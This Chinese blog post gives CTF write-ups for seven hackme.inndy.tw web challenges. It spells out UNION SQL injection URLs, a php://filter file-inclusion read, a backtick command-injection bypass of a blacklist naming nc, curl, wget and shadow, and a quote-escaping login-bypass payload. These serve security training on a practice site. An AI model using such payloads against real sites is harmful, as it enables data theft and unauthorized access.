前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >hackme.inndy.tw的19道web题解(上)

hackme.inndy.tw的19道web题解(上)

作者头像
安恒网络空间安全讲武堂
发布2018-02-23 10:13:18
2.1K0
发布2018-02-23 10:13:18
举报

目录

  • 写在前面...
  • hide and seek.
  • guestbook.
  • LFI
  • .homepage.
  • ping.
  • scoreboard.
  • login as admin 0
  • 待续...

写在前面

最近发现了一个比较有趣的ctf-oj,给出链接

https://hackme.inndy.tw/

里面有不少web题,我这里因为依照出题人的要求:

本次文章不会直接给出flag,但是会有详细的分析和攻击脚本

0x01 hide and seek

查看源代码即可

0x02 guestbook

简单注入

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1

可以得到数据库名guestbook

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1

得到表名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1

得到字段名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1

即可拿到flag

0x03 LFI

随便点击出现:

https://hackme.inndy.tw/lfi/?page=pages/index

根据题目名可以知道是读文件

所以读:

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

得到

php

Can you read the flag<?php require('config.php'); ?>?

再读

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config

即可

0x04 homepage

注意源代码151行

<script src="cute.js"></script>

跟进

https://hackme.inndy.tw/cute.js

发现是aaencode

解密得到二维码,扫描即可

0x05 ping

发现黑名单

php

代码语言:js
复制
$blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];

发现没有过滤反引号

尝试反引号ls反引号

可以得到

ping: unknown host flag.php

index.php

发现sort没有过滤,并且利用?通配

反引号sort ????????反引号

即可

0x06 scoreboard

抓包发现http头里的x-flag有flag

0x07 login as admin 0

注意到过滤

php

代码语言:js
复制
function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\\'", $str);
}

最后将单引号变成\\'

所以容易构造payload:

username = admin\' || 1=1#

password = 1

进入的是guest,所以admin应该是第二行

所以payload:

username = admin\' || 1=1 limit 1,1#

password = 1

得到flag

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-01-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档